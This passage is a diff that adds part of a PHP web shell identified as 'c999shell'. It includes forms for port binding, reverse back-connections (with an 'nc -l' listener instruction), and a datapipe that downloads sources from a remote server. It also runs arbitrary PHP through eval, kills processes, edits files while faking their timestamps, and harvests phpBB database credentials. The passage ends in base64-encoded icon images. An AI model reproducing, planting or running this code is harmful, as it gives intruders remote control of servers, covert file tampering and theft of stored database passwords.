".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c999shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c999shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". 